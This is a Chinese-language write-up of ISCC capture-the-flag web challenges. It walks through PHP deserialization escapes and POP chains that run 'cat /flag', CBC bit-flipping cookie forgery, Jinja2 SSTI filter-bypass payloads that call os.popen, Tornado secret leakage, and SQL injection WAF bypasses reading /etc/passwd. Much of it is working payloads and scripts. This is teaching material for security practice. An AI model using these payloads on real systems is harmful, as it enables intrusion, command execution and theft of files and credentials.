练武
ISCC客服冲冲冲(一)
又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己???
请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗! 题目入口:http://39.96.91.106:7020
方法一:使用连点器
设置每秒点击100次,得到flag
方法二:修改按钮ID
F12将两个按钮的id交换
方法三:
js调用click函数,控制台输入
setInterval(function(){document.getElementById("left_button").click();},1);
方法四:刷票
local_left_votes=999999
这是啥
这是什么东西呢?
题目入口:http://39.96.91.106:7030
下载附件,将jsfuck编码丢到控制台得到flag
正则匹配最后的倔强。
按照提示访问robots.txt,不允许所有人访问/src/code/code.txt
访问/code/code.txt得到源码
<?php
<p>code.txt</p>
if (isset ($_GET['password'])) {
if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
Bugku原题,传入的值必须是数字或大小写字符,长度小于8且大于9999999,且匹配到"-"才能输出flag。可以使用%00来截断,当ereg函数读到 %00的时候,就截止了。
Payload: ?password=1e8%00*-*
flag:
登录
登录来上传自己的信息吧!
题目入口:http://39.96.91.106:7010
这是一道原题: [0CTF 2016] piapiapia,参考wp
www.zip源码泄露,可直接下载源码。
源码如下:
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
register.php
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
1.审计代码
-
config.php
flag在这里 -
register.php
注册账号,对帐号密码长度做出限制 -
profile.php
(1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容
(2)用base64编码对上传文件进行了读取和显示 -
update.php
(1)phone 长度为11位;
(2)nickname长度小于 10 位,且只能为字母和数字;
(3)将用户填写的 phone、email、nickname 以及上传的文件进行序列化 -
class.php
存在参数过滤,filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.
存在参数过滤,where被替换成hacker,长度加1
2.序列化profile
update.php中POST提交完后对$profile进行序列化操作
<?php
$profile = array();
$profile['phone'] = '18288669977';
$profile['email'] = '2233445588@qq.com';
$profile['nickname'] = 'xiaom';
$profile['photo'] = 'config.php';
echo serialize($profile);
?>
结果为
a:4:{s:5:"phone";s:11:"18288669977";s:5:"email";s:17:"2233445588@qq.com";s:8:"nickname";s:5:"xiaom";s:5:"photo";s:10:"config.php";}
下面可以利用php反序列化字符逃逸
PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。
3.反序列化字符逃逸
这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项
";}s:5:"photo";s:10:"config.php";}
上面的字符串一共34个字符,所以需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去。
class.php代码中存在过滤, where
被替换成了 hacker
,此时字符串的长度加 1 ,如果在 nickname 处填进 34 个where
,就会被替换成 34 个 hacker
,即nickname 的长度超出了 34 位。
得到payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
访问register.php,注册账号,然后登陆,在Nickname处填入上面的payload
抓包,将Nickname修改为Nickname[]数组类型
4.利用base64编码读取flag
放包,点击超链接跳转到profile.php页面,查看源码
一段Base编码
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdJU0NDe3doYXRfaXNAdGhlJl9uaWNrbmFtZSo/MTExMjIzNH0nOwo/Pgo=
Base64解码得到flag
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'ISCC{what_is@the&_nickname*?1112234}';
?>
which is the true iscc
小夏同学很想知道ISCC到底是什么,不过上网后的搜索让他更加迷惑了——怎么有这么多ISCC??到底哪个ISCC是真的呢?你能帮他找到真正的ISCC吗?
题目入口:http://39.96.91.106:7050
访问题目地址,查看源码
<!--
<a href="/?whatareyounongshane=src">我真的是源码?</a>
<a href="/?whatareyounongshane=cmd">干点好事!</a>
<a href="/?whatareyounongshane=upload">送点东西!</a>
<a href="/?whatareyounongshane=tellmetruth">快告诉我真相!</a>
-->
按照提示,访问/?whatareyounongshane=src,得到源码:
<?php
session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);
$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;
class ISCC_Upload {
function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}
function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {
foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;
if(is_uploaded_file($iscc_file['tmp_name'])) {
$check = @getimagesize($iscc_file["tmp_name"]);
if($check !== false) {
$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);
if (file_exists($target_file)) {
echo "想啥呢?有东西了……<br>";
finalize();
exit;
}
if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~<br>";
finalize();
exit;
}
if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}
} else {
finalize();
exit;
}
} else {
echo "你真是个天才!<br>";
finalize();
exit;
}
}
}
}
class ISCC_ResetCMD {
protected $new_cmd = "echo '新新世界,发号施令!'";
function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;
if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}
if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}
function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}
}
class ISCC_Login {
function __wakeup() {
$this->login();
}
function __destruct() {
$this->logout();
}
function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}
function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}
}
class ISCC_TellMeTruth {
function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}
function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}
}
class ISCC_Command {
function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}
function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}
}
function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}
function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}
if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?<br>");
}
if(isset($_GET['?'])) {
$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));
if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}
if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?<br>");
}
?>
ISCC_Command类里面的__destruct方法可以执行cmd命令
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}
在ISCC_ResetCMD类里面对cmd进行重新赋值
class ISCC_ResetCMD {
protected $new_cmd = "echo '新新世界,发号施令!'";
function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}
}
这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1scc的SESSION
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
通过变量覆盖来控制$_SESSION的值
ISCC__Upload类:
class ISCC_Upload {
function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}
function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {
foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;
其中$GLOBALS['key'] = value;
为全局变量的覆盖,当$is_upload为true
的时候,就会触发这个循环,可以实现$_SESSION
的变量覆盖。
而在upload类里面的__wakeup方法里面$is_upload = (count($_FILES) > 0);
会把他设置成true,其他的类都设置成了false。
这里了解一下$_FILES
,$_FILES
通过 HTTP POST 方式上传到当前脚本的项目的数组。
数组内容如下:
$_FILES['userfile']['name'] #客户端机器文件的原名称。
$_FILES['userfile']['type'] #文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size'] #已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] #文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error'] #和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。
所以我们就要让upload执行__destruct的时候,is_upload是true
这就要求,最早执行__destruct,最晚执行__wakeup,所以就可以按一定顺序来构造POP链
由于有一个waf函数,不能出现*
号
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}
但是ISCC_ResetCMD类的$new_cmd
的属性是protected的,序列化后会带有*
,这就需要ISCC_Upload类的__wakeup在这些类的最后进行,但是__destruct要在第一个开始。需要按一定顺序来构造POP链::
<?php
class ISCC_Command {
}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
}
class ISCC_Upload {
}
$a=array(
'a'=>new ISCC_Upload(),
'b'=>new ISCC_ResetCMD(),
'c'=>new ISCC_Command(),
);
$b=serialize($a);
echo $b;
利用16进制绕过,将s替换成S,在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示。使用url编码一下,然后替换s即可。
重新构造POP链:
<?php
class ISCC_Command {
}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
}
class ISCC_Upload {
}
$a=array(
'a'=>new ISCC_Upload(),
'b'=>new ISCC_ResetCMD(),
'c'=>new ISCC_Command(),
);
$b=urlencode(serialize($a));
$b=str_replace("s","S",$b);
$b=str_replace("%2A",'\2a',$b);
echo $b;
运行得到:
a%3A3%3A%7BS%3A1%3A%22a%22%3BO%3A11%3A%22ISCC_Upload%22%3A0%3A%7B%7DS%3A1%3A%22b%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A1%3A%7BS%3A10%3A%22%00\2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3B%7DS%3A1%3A%22c%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D
通过python脚本上传,注意图片不能太大
import requests
url="http://39.96.91.106:7050/"
files={
'iscc_file':("b",open("atkx.jpg","rb")),
"_SESSION":("isccIsCciScc1scc","123")
}
headers={
'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files,headers=headers)
print(r.text)
得到flag
ISCC客服一号冲冲冲(二)
经过激烈的竞争,客服一号终于通过自己的努力(选手的帮助),保住了自己的饭碗(获得了客服的密码),可当他打开客服登录窗口,却发现怎么也登不上去了。
你能帮他看看怎么回事吗? 题目入口:http://39.96.91.106:8210/ Flag格式:iscc{XXX}
查看源码,看到login.bmp,下载
蓝色通道最低位有异常,另存为login.html
查看源码
<?php
define("SECRET_KEY", '101010031231243214');
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
$_SESSION['password'] = $info['password'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'&& $_SESSION["password"]=== password)
{
echo '<p>Hello admin</p>';
echo '<p>Flag is '.flag.'</p>';
}
else if($_SESSION["password"] == password)
{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>You can\'t see flag</p>';
}
else
{
echo '<p>Sorry,password is incorrect</p>';
}
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '
<body class="login-body">
<div id="wrapper" style = "width:800px; height:200px; overflow:hidden;">
<img class="img1" src="login.bmp" alt="login" />
</div>
</body>';
}
}
?>
阅读源代码,我们可以知道,只有admin用户才能读取flag,但是admin用户又不允许登录。虽然相互矛盾,由于题目用到了aes的cbc模式加密,所以我们可以利用cbc字节翻转攻击来得到我们想要的明文。
Bugku Login4原题,考查CBC字节翻转攻击
这是组合题,猜测密码是(一)的flag
POST
username=admix&password=1SCC_2o2l_KeFuu&submit=Login
题目将用户名密码传入数组并序列化得到
a:2:{s:8:"username";s:5:"admil";s:8:"password";s:15:"1SCC_2o2l_KeFuu";
接下来进行aes加密,并将得到的cipher和iv进行base64编码放入cookie中(cookie对于攻击者来说可控,所以存在cbc字节翻转攻击)
明文加密时分组为:
a:2:{s:8:"userna
me";s:5:"admil";
s:8:"password";s
:15:"1SCC_2o2l_K
eFuu";}
因此我们只需要将"x"字节翻转为"n"即可得到flag。
根据我们得到的关系,已知只需修改前一组密文即可。
$newcipher[13]=chr(ord(13) ^ ord(‘x’) ^ ord(‘n’))
这时我们就会得到
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:15:"1SCC_2o2l_KeFuu";
但是由于前一组密文被修改了 所以前一组的明文会出现乱码,因此接下来我们再生成新的iv将前一组明文改回a:2:{s:8:"userna 即可得到flag。
下面开始操作:
<?php
header("Content-Type: text/html;charset=utf-8");
#计算cipher
/*
明文1:a:2:{s:8:"userna //r
明文2:me";s:5:"admix"; //l字母在第14个字节
明文3:s:8:"password";s
明文4::3:"123";}
*/
$cipher = base64_decode(urldecode('y2x2UEGxPieluLPfmaOe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D'));
$temp = $cipher;
/*
设密文1[13]=A, 解密(密文2)[13]=B, 明文2[13]=C,
将A修改为A ^ C,则:
A ^ B = A ^ C ^ B = B ^ B = 0 = C
*/
// A C X
$cipher[13] = chr(ord($cipher[13]) ^ ord('x') ^ ord('n'));
echo urlencode(base64_encode($cipher));
#Set-Cookie: iv=UlaTx7%2Bd%2B3R0%2BQG0wM0t%2BQ%3D%3D
#Set-Cookie: cipher=y2x2UEGxPieluLPfmaOe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D
?>
得到
y2x2UEGxPieluLPfmbWe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D
这里提示反序列化失败了
重新计算vi
<?php
#计算iv
$res = base64_decode('udWanuvQSROPYCexu0Urn21lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30='); //这里放burp放回的base64数据
$iv = base64_decode(urldecode('UlaTx7%2Bd%2B3R0%2BQG0wM0t%2BQ%3D%3D')); //这里放cookie中的iv iv=kCoJjjQMy%2BIQATaagMVpbw%3D%3D;
$plaintext = 'a:2:{s:8:"userna';
$new_iv = '';
for ($i = 0; $i < 16; $i ++){
$new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i]));
}
echo urlencode(base64_encode($new_iv));
?>
得到新的iv值传过去
irk7Yy8%2BiF%2FBu1N2HvpoBw%3D%3D
最终flag为
lovely ssti
MiaoMiaoMiao~这里有一只可爱的暹罗猫猫
题目入口:http://39.96.91.106:3010/
查看可用字符
Payload: ?xiaodouni={%print%20lipsum|select|string|list%}
没做过多少SSTI方面的题,会单独弄篇博客总结SSTI,暂时先贴一下大师傅们的Payload吧:
?xiaodouyu=
{%set%20xiahua=(config|select|string|list)[24]%}
{%set%20gb=(xiahua,xiahua,dict(class=a)|join,xiahua,xiahua)|join%}
{%set%20ini=(xiahua,xiahua,dict(init=a)|join,xiahua,xiahua)|join%}
{%set%20glo=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%}
{%set%20gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set%20oo=dict(o=a,s=a)|join%}
{%%20set%20so=oo[::-1]%}
{%set%20pp=dict(pop=a,ne=b)|join%}
{%%20set%20opo=pp[::-1]%}
{%set%20rd=(dict(read=a)|join)%}
{%print config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(opo)("cat /usr/?????is?here????")|attr(rd)()%}
?xiaodouyu=
{%set pp=(dict(pop=a))|join%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(24)%}
{%set g=(lipsum|select|string|list)|attr(pp)(1)%}
{%set gb=(xiahua,xiahua,g,dict(bals=a,lo=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,g,dict(e=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl))|attr("ge""t")("ch""r")%}
{%set dian=chcr(46)%}
{%set space=chcr(32)%}
{%set xing=chcr(42)%}
{%set shell=("cat ","requirements",dian,"txt")|join%}
{%set shell2=("find / -name ",xing,"fl","ag",xing)|join%}
{%set shell2=("cat /usr/fl","ag",xiahua,"is",xiahua,"here",dian,"txt")|join%}
{{ lipsum|attr(gb)|attr(gm)("o""s")|attr("po""pen")(shell2)|attr("read")()}}
?xiaodouyu=
{% set xiahua=(config|string)[14]%}
{% set gb=(xiahua,xiahua,"globals",xiahua,xiahua)|join %}
{% set bl=(xiahua,xiahua,"builtins",xiahua,xiahua)|join %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["ch""r"] %}
{% set dian=cr(46)%}
{% set xing =cr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}
擂台
tornado
Tornado 是什么呢?
题目入口:http://39.96.91.106:7060
在BUU上做过,是道原题
从三个链接可以得到以下信息:
- flag.txt:flag在/fllllllllllllaaaaaag文件里面
- welcome.txt:根据提示render,可以知道存在模板注入
- hints.txt:md5(cookie_secret+md5(filename))
当访问/hints.txt,发现url栏变为:
/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15
直接访问fllllllllllllaaaaaag文件
Payload: /file?filename=/fllllllllllllaaaaaag
需要计算filehash的值,即md5(cookie_secret+md5(filename))的值。filename已经知道了是/fllllllllllllaaaaaag,下面需要找到cookie_secret。
Tornado框架的附属文件handler.settings中存在cookie_secret,进行模板注入:
Payload:error?msg={{handler.settings}}
得到cookie_secret的值
直接使用脚本:
import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def jiami():
filename = '/fllllllllllllaaaaaag'
cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a"
print("md5(filename): "+md5value(filename.encode('utf-8')))
x=md5value(filename.encode('utf-8'))
y=cookie_secret+x
print("md5(cookie_secret+md5(filename)): "+md5value(y.encode('utf-8')))
jiami()
import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest()
def jiami():
filename = '/fllllllllllllaaaaaag'
cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a"
print(md5value(cookie_secret + md5value(filename)))
jiami()
得到
md5(filename): 9395bd4a7a7cae3ce1f6dc17aeb2d2b8
md5(cookie_secret+md5(filename)): 1ad9b8e09fbe539bc5a6f2c8bc0ab5db
最终payload为
/file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db
easyweb
简单的web
题目入口:http://39.96.91.106:5001/
Flag格式:iscc{XXX}
查看源码
<!--?id-->
测试一下,id=1,2,3页面均返回数据,其它返回error
万能密码?id=1' or 1=1#
,返回die
测试了一下,使用?id=1'||1=1%23
成功返回数据
fuzz一下,过滤了好多
select、 union、 or、 ord 、 from、information_schema、空格等
好多代替空格的都被过滤了,仅剩%0d没有过滤
select过滤了,使用seselectlect双写绕过
得到回显位
?id=0'%0dununionion%0dselselectect%0d1,2,3%23
#Your Login name:2
#Your Password:3
爆库名
?id=0'%0dununionion%0dselselectect%0d1,database(),version()%23
#Your Login name:iscc_web
#Your Password:5.7.33-0ubuntu0.16.04.1
发现当前数据库版本为5.7.33
接下来就是爆表名
from、information_schema都被过滤了,FROM大写绕过,关于绕过information_schema参考mysql注入绕过information_schema过滤。
当前数据库版本为5.7,可用sys.schema_auto_increment_columns
代替information_schema
Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFrom%0dsys.schema_auto_increment_columns),3%0d%23
#Your Login name:iscc_flag
#Your Password:3
猜测列名为flag,爆值
Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dFROM%0discc_flag),3%0d%23
#Your Login name:cccmd.php
#Your Password:3
访问cccmd.php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){
exit("die!!");
}else{
echo `$c`;
}
}else{
highlight_file(__FILE__);
}
?>
<!--flllllllllaaag.php-->
显然flag在flllllllllaaag.php中,首先要知道当前路径,执行pwd,得到当前绝对路径:
/cccmd.php?c=pwd
#/var/www/const
load_file函数没有被过滤,尝试读取/etc/passwd
?id=0'%0duniunionon%0dselselectect%0d1,(load_file('/etc/passwd')),3%23
成功读取
路径知道了,接下来直接读取flllllllllaaag.php
?id=0'%0duniunionon%0dselselectect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%23
